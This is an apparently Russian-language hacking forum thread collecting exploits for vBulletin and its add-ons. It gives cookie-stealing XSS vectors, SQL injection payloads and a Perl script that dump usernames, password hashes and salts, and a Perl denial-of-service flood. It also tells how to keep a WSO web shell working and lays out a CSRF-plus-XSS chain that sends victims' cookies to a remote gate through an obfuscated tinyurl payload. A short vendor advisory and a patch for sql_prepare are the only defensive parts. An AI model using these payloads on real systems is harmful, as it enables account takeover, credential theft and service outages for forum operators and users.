Активная XSS в модуле vBH New Tabs Options vBH New Tabs Options - возможность вставки произвольного js кода на все страницы vBulletin 4.x.x Уязвимость существует из-за отсутствия фильтрации при добавлении новых вкладок в главное навигационное меню, через указанный модуль. Эксплойт, в поле со списком вкладок добавляем: Автор: eclipse Примечание: Чтобы заюзать уязвимость нужно обладать доступом в AdminCP.
Vbulletin 4.0.2 Уязвимость: XSS. Code: ================================= Vbulletin 4.0.2 XSS Vulnerability ================================= [+] Vbulletin 4.0.2 XSS Vulnerability 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ###################################### 1 0 I'm 5ubzer0 member from Inj3ct0r Team 1 1 ###################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 [+] Discovered By: 5ubzer0 [+] My id : http://inj3ct0r.com/author/2307 [+] Original : http://inj3ct0r.com/exploits/9697 # Version: Vbulletin 4.0.2 www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script> www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script> Exemple: http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C /script%3E
Работает на 4.0.x - 4.1.2, в 4.1.3 - пропатчено. http://www.youtube.com/watch?v=fR9RGCqIPkc Нужен аддон для ФФ4 - Live HTTP Headers - http://psp-mode.yolasite.com/resources/liveHTTPheadersFF4.xpi PHP: &cat[0]=1) UNION SELECT database()# &cat[0]=1) UNION SELECT table_name FROM information_schema.tables# &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1# md5(md5($pass).$salt)
/vb/search/searchtools.php Code: $id = $vbulletin->db->sql_prepare($id); if (is_array($id)) { Code: function sql_prepare($value) { if (is_string($value)) { return "'" . $this->escape_string($value) . "'"; } else if (is_numeric($value) AND $value + 0 == $value) { return $value; } else if (is_bool($value)) { return $value ? 1 : 0; } else { return "'" . $this->escape_string($value) . "'"; } } Меняем на это Code: function sql_prepare($value) { if (is_string($value)) { return "'" . $this->escape_string($value) . "'"; } else if (is_numeric($value) AND $value + 0 == $value) { return $value; } else if (is_bool($value)) { return $value ? 1 : 0; } else if (is_null($value)) { return "''"; } else if (is_array($value)) { foreach ($value as $key => $item) { $value[$key] = $this->sql_prepare($item); } return $value; } else { return "'" . $this->escape_string($value) . "'"; } } удачи!
Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day Code: # Google Dork: intitle: powered by Vbulletin 4 # Date: 20/07/2011 # Author: FB1H2S # Software Link: [[url]http://www.vbulletin.com/][/url] # Version: [4.x.x] # Tested on: [relevant os] # CVE : [[url]http://members.vbulletin.com/][/url] ###################################################################################################### Vulnerability: ###################################################################################################### Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation. ##################################################################################################### Vulnerable Code: ##################################################################################################### File: /vbforum/search/type/socialgroupmessage.php Line No: 388 Paramater : messagegroupid if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0) { $value = $registry->GPC['messagegroupid']; if (!is_array($value)) { $value = array($value); } if (!(in_array(' ',$value) OR in_array('',$value))) { if ($rst = $vbulletin->db->query_read(" SELECT socialgroup.name FROM " . TABLE_PREFIX."socialgroup AS socialgroup ---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")") } ############################################################################################ Exploitation: ############################################################################################ Post data on: -->search.php?search_type=1 --> Search Single Content Type Keywords : Valid Group Message Search Type : Group Messages Search in Group : Valid Group Id &messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1# ########################################################################################## More Details: ########################################################################################## Http://www.Garage4Hackers.com http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day ########################################################################################### Note: ########################################################################################### Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
cChatBox for vBulletin 3.6.8 and 3.7.x SQL Injection Vulnerability Code: #!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent->new; $ua->agent("MyApp/0.1 "); print "##################################\n"; print "############ EXPLOIT #############\n"; print "##################################\n"; print "## Portal: cchatbox ##\n"; print "## Bug: SQLI ##\n"; print "## Author: DSecurity ##\n"; print "## Coder: vv0lll ##\n"; print "##################################\n"; print "Use: exploit.pl address number_user sleeptime\n"; print "Example: exploit.pl http://localhost/vbb 10 10\n"; if(@ARGV < 2) {exit;} print "\n\n================================================\n"; #Foot print print v_request('MySQL version: ','@@version'); print v_request('Data dir: ','@@datadir'); print v_request('User: ','user()'); print v_request('Database: ','database()'); #Get user for($i=1;$i<=$ARGV[1];$i++){ print "-----------------------------------------\n"; print $id = v_request('ID: ','userid','user','1',$i-1); if($id =~ /(ID:)\s(.*)/){ print v_request('Group: ','usergroupid','user','userid='.$2); print v_request('Username: ','username','user','userid='.$2); print v_request('Password: ','password','user','userid='.$2); print v_request('Salt: ','salt','user','userid='.$2); print v_request('Email: ','email','user','userid='.$2); } } print $ARVG[0]; sub v_request{ #Declare $print = $_[0]; $select = $_[1]; $from = $_[2]; $where = $_[3]; $limit = $_[4]; $sleep = $ARGV[2]; if ($from eq '') {$from = 'information_schema.tables';} if ($where eq '') {$where = '1';} if ($limit eq '') {$limit = '0';} if ($sleep eq '') {$sleep = '10';} # Create a request my $req = HTTP::Request->new(POST => $ARGV[0].'/cchatbox.php'); $req->content_type('application/x-www-form-urlencoded'); $req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)'); # Pass request to the user agent and get a response back my $res = $ua->request($req); #print $res->content; if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/) {$test = $3}; sleep($sleep); return $print.$test."\n"; }
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability Code: <!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>======================================================================= vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability ======================================================================= # Exploit Title: vBulletin 4.0.0-4.0.2 YaAS 4.0.0 (yet another award system) XSS # Date: 2010-05-13 # Author: Un-Dead # Team: eX.ploit ( http://ex.ploit.net ) # Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684&highlight=yet+another+award+system # Google Dork: inurl: recommend_award.php?award_id=1 # Version: vBulletin 4.0.0 thru 4.0.2 using YaAS v4.0.0 (This has now been updated too 4.0.1 and does not work on the updated version) # Tested on: Windows XP SP3, KDE3.5 vBulletin with HTML turned off # Usage: XSS # Code: This will only work if the administrator has opted to set the ?recommend this award? to create a new poll somewhere in the forum (admin area is even better for cookie stealing J) Again this will not work on the latest update of YaAS but it will work on YaAS 4.0.0 Click awards tab, chose recommend this award. In the member name just type something doesent really matter. In the body put your xss <script>alert(‘xss’);</script> The infected page will be the poll that was created. If the admin does not have the ?create new poll? enabled this eX.ploit is useless. # <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-05-13]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin Posted on 04 August 2011 *Advisory Information* Title: vBulletin Cross Site Scripting Vulnerability Date published: 02-08-2011 Vendors contacted: vBulletin team *Vulnerability Information* Class: XSS flaw Vulnerable page: Admin Login Page (admincp) Remotely Exploitable: Yes Locally Exploitable: No *Vulnerability Description* vBulletin is a community forum solution for a wide range of users, including industry leading companies. A XSS vulnerability has been discovered that could allow an attacker to carry out an action impersonating a legal user, or to obtain access to a user's account. This flaw allows unauthorized disclosure and modification of information, and it allows disruption of service. *Vulnerable versions* 4.1.3pl3, 4.1.4pl3 & 4.1.5pl1 *Non-vulnerable Packages* . vBulletin prior to 4.1.3 *Vendor Information, Solutions and Workarounds* vBulletin team has released patches for this flaw and patch is released on 02-08-2011. https://www.vbulletin.com/forum/showthread.php/385133-vBulletin-4.1.3-4.1.4-and-4.1.5-Security-Patch *Credits* This vulnerability was discovered by Muhammad Haroon from Innovative Solutions KSA. OWASP Chapter Lead of Pakistan. haroon [at] live [dot] it *Proof of Concept Code* This is a Cross Site Scripting (XSS) vulnerability within vBulletin community forum solution. In order to exploit this flaw following vector would be used. http://www.example.com/forums/admincp/?"><script>alert('Xss_found_By_M.Haroon')</script> *Report Timeline* 30-07-2011: Notifies the vBulletin team about the vulnerability. 31-07-2011: vBulletin Team ask for technical description about the flaw 31-07-2011: Technical Details sent to vbulletin team 02-08-2011: vBulletin notifies that a fix has been produced and is available to the users on 2nd August 2011 03-08-2011: Vulnerability publicly disclosed.
Если кому нужно, то вот так можно узнать версию форума: http://xxxx.xxx/archive/archive.css ну или так: http://xxxx.xxx/cpstyles/global.css На самом деле вариантов много
Проверка на работоспособность. Code: <!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>vBulletin 4.0.6 – Danial Of Service Exploit (redhat)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==================================================== vBulletin 4.0.6 – Danial Of Service Exploit (redhat) ==================================================== ################################################ Author : KnocKout Thanks : DaiMon,BARCOD3 Contact : [email protected] Tested on : redhat ############################################## ##################vBulletin 4.0.6 – Danial Of Service Exploit for RedHat############### #!/usr/bin/perl use IO::Socket; print "n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+n"; print "+ vBulletin 4.0.6 D.O.S Exploit(FOR redhat) +n"; print "+ Coded by KnocKout +n"; print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+nn"; print "Host |without http://www.| "; chomp($host = <STDIN>); print "Path |example. /en or / | "; chomp($pth = <STDIN>); { while($x != 999999) { $postit = "?t=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; $lrg = length $postit; my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "nOffline! – We can not Connect To ‘$host’ it May be DoSedn" unless $sock; print $sock "POST $pth/showthread.php HTTP/1.1n"; print $sock "Host: $hostn"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n"; print $sock "Referer: $hostn"; print $sock "Accept-Language: en-usn"; print $sock "Content-Type: application/x-www-form-urlencodedn"; print $sock "Accept-Encoding: gzip, deflaten"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n"; print $sock "Connection: Keep-Aliven"; print $sock "Cache-Control: no-cachen"; print $sock "Content-Length: $lrgnn"; print $sock "$postitn"; close($sock); syswrite STDOUT, "Attack Started "; $x++; } } # <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-09-02]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html> http://inj3ct0r.com/exploits/13952
Уязвимость пашет на vBulletin 4.x.x Заходим, регистрируемся (не всегда обязательно, если поиск без всяких там капч и вопросов от имени гостя проходит, то рега не впёрлась). Запускаем лису, плагин liveHTTPHeaders. Вбиваем в поле поиска любую лабуду, например "4234234" и жмём enter В liveHTTPHeaders редактируем запрос таким вот образом, дописывая это: Code: humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /* Отправляем запрос, выйдет ошибка Database error Смотрим исходный код, внизу находим хэш, записываем Теперь оправляем запрос на вывод соли, вот такой: Code: humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /* Опять ошибка, опять смотрим исходный код, записываем соль. Всё, осталось только расшифровать. Иногда таблица не user называется, тогда хэш мы не увидим, а увидим на месте хэша какую-то лабуду, а чуть выше виден будет префикс, вот его и дописываем в наш запрос, и тогда всё бенч будет.
Итак дорогие друзья хотелось бы поговорить с вами о шеллах в данном форуме. Сейчас вышел патч для форума и при попытке зайти на шелл через модуль вылазить сообщение: Code: Your submission could not be processed because a security token was missing. If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error. Какой-то Forum Как решить: 1.Можно править шелл (использую WSO 2.5) 2. А можно=> Опера=> форум с шелом=> Исходный код=> После Code: value='>>' всавить Code: accesskey="r" tabindex="1" => Нажать применить изменеия=> Вуаля! Рабочий шелл! ПС может давно известно. Но для меня стало очень актуально и ново данное открыие ПСС Открыл сам.
[3.8.x] Cyb - Advanced Forum Statistics [4.0.x] VSa - Advanced Forum Statistics c 4 линейки название немного изменилось. был помидор, стал томат. FULL PATH DISCLOSURE (раскрытие путей) Possible integer overflow 3.8.X модуль cyb_topstats PHP: $resultsnr_lp = ($resultsnr * 2) + 1; 4.0.X Модуль vsa_topstats PHP: $vsacb_resnr_lp = ($vsacb_resnr * 2) + 1; PoC for 3.8.X: Code: POST /misc.php?do=cybstats HTTP/1.1 Host: brutezone.ru User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Connection: keep-alive Referer: http://brutezone.ru/misc.php?do=cybstats Cookie: куки. нужна авторизация. Content-Type: application/x-www-form-urlencoded Content-Length: 112 securitytoken=1320250782-fda4c39ad1983a01f3b3ce9b94b7350c35099352&resultsnr=999999999999999999999999999999999999 PoC for 4.0.X: (на 4.1.X не пробовал.) Code: POST /misc.php?do=vsastats HTTP/1.1 Host: www.html.by User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Connection: keep-alive Referer: http://www.html.by/misc.php?do=vsastats Cookie: куки. нужна авторизация. Content-Type: application/x-www-form-urlencoded Content-Length: 124 securitytoken=1320251249-9e5b6a09879833baf7af3e58fae882855e302814&vsacb_resnr=5999999999999999999999999999999999999999999999
vBulletin <= 4.1.7Тип уязвимости: Раскрытие путей. Минимальные права: Смена языка. Эксплуатация: Описание: Эта уязвимость помогает злоумышленнику произвести раскрытие путей. (c) Osstudio
Opinion System 1.5.0 Имеется пассивноактивная? xss... после того, как оставили мнение с js при каждом переходе на страницу с мнением будет выполняться этот код, так как он подгружается в строку редактирования. У других отображен не будет. фильтр спец символов. Для использования достаточно сформировать запрос на добавление мнения и редиректнуть его на страничку с мнениями... для отвода глаз Дорк
Не все так просто. Приведу пример практической эксплуатации бага: 1. Добавление мнения POST-запрос opinion.php do=postvote&postid=[POSTID]&comment=[COMMENT]&value=0 Защита от CSRF - проверка домена рефера. Если в заголовке вообще нет рефера, запрос тоже срабатывает. a) [POSTID] opinion.php?do=about&userid=[USERID] Во время атаки код XSS некоторое время будет храниться на стене одного из пользователей. Кто именно это будет, не имеет значения ([USERID] - любой существующий пользователь) b) Автоматическая отправка запроса PHP: <body method="POST" onload="csrf.submit();"> <form id="csrf" action="http://site/opinion.php"> <input name="do" value="postvote"> <input name="value" value="0"> <input name="postid" value="[POSTID]"> <input name="comment" value="[COMMENT]"> </form> </body> Для обхода проверки рефера форма шифруется с помощью протокола data (data:text/html;base64,[форма_отправки_запроса]) 2. Отображение мнения на странице opinion.php?do=about&userid=[USERID] Для выполнения кода можно использовать "autofocus/onfocus="[JS]. 3. Код для проведения атаки На странице мнений для удаления есть встроенная JS-функция, она и будет использована для уничтожения следов атаки. После вызова функции удаления страница очищается, чтобы избежать зацикливания onfocus. PHP: myGate = 'http://example.com/?cookie='; // сюда отправляются куки pBody = document.getElementsByTagName('body')[0]; delFunc = /ChangeText\('do=delete.+?\)/.exec(pBody.innerHTML); // парсим со страницы функцию удаления мнения pBody.innerHTML += '<img src="' + myGate + escape(document.cookie) + '"onerror="' + delFunc + ';document.write(\'\')">'; // отправка данных на гейт, удаление мнения, очистка страницы Мнения ограничены по длине, поэтому вышеприведенный код необходимо вынести в отдельный скрипт. a) убираем все лишнее b) шифруем в base64 Code: Zz0naHR0cDovL2V4YW1wbGUuY29tLz9jb29raWU9JztiPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF07Yi5pbm5lckhUTUwrPSc8aW1nIHNyYz0iJytnK2VzY2FwZShkb2N1bWVudC5jb29raWUpKycib25lcnJvcj0iJysvQ2hhbmdlVGV4dFwoJ2RvPWRlbGV0ZS4rP1wpLy5leGVjKGIuaW5uZXJIVE1MKSsnO2RvY3VtZW50LndyaXRlKFwnXCcpIj4nOy8v c) помещаем код в короткую ссылку используя протокол data и сервис сокращения tinyurl Code: http://tinyurl.com/c6opgyk d) подключаем скрипт PHP: newScript = document.createElement('script'); newScript.src = 'http://tinyurl.com/c6opgyk'; document.getElementsByTagName('body')[0].appendChild(newScript); e) окончательный вариант комментария 4. Последовательное выполнение CSRF и XSS PHP: <script> function srcReplace() { var i = document.getElementById('ifr'); i.onload = ''; i.src = 'http://site/opinion.php?do=about&userid=[USERID]'; } </script> <iframe id="ifr" onload="setTimeout('srcReplace()', 3000)" style="width:0px;height:0px;visibility:hidden" src="data:text/html;base64,[форма_из_пункта_1b]"></iframe> 5. Полная автоматизация уязвимости [POSTID] действует относительно недолго, поэтому все вышеописанное будет работать только для одной атаки на конкретного пользователя. Чтобы полностью все автоматизировать, придется парсить http://site/opinion.php?do=about&userid=[USERID] и динамически генерировать код из пункта 5 на своем сервере, например PHP-скриптом. PHP: <?php if($curl = curl_init()) { curl_setopt($curl, CURLOPT_URL, 'http://site/opinion.php?do=about&userid=[USERID]'); curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt'); // страница видна только авторизованному пользователю curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $res = curl_exec($curl); curl_close($curl); preg_match("/name=\\\"postid\\\" value=\\\"(.+?)\\\"/", $res, $postid); $form = str_replace('[POSTID]', $postid[1], file_get_contents('form.txt')); // form.txt - шаблон формы (п. 1b) $page = str_replace('[FORMDATA]', base64_encode($form), file_get_contents('page.txt')); // page.txt - шаблон страницы (п. 4) echo $page; } ?> p.s.: Заставить все это работать кроссбраузерно - задача тоже относительно непростая. Описывать специфику работы различных браузеров с data и другие варианты скрытия реферера здесь не буду, потому что получится слишком много инфы для одного оффтопного сообщения.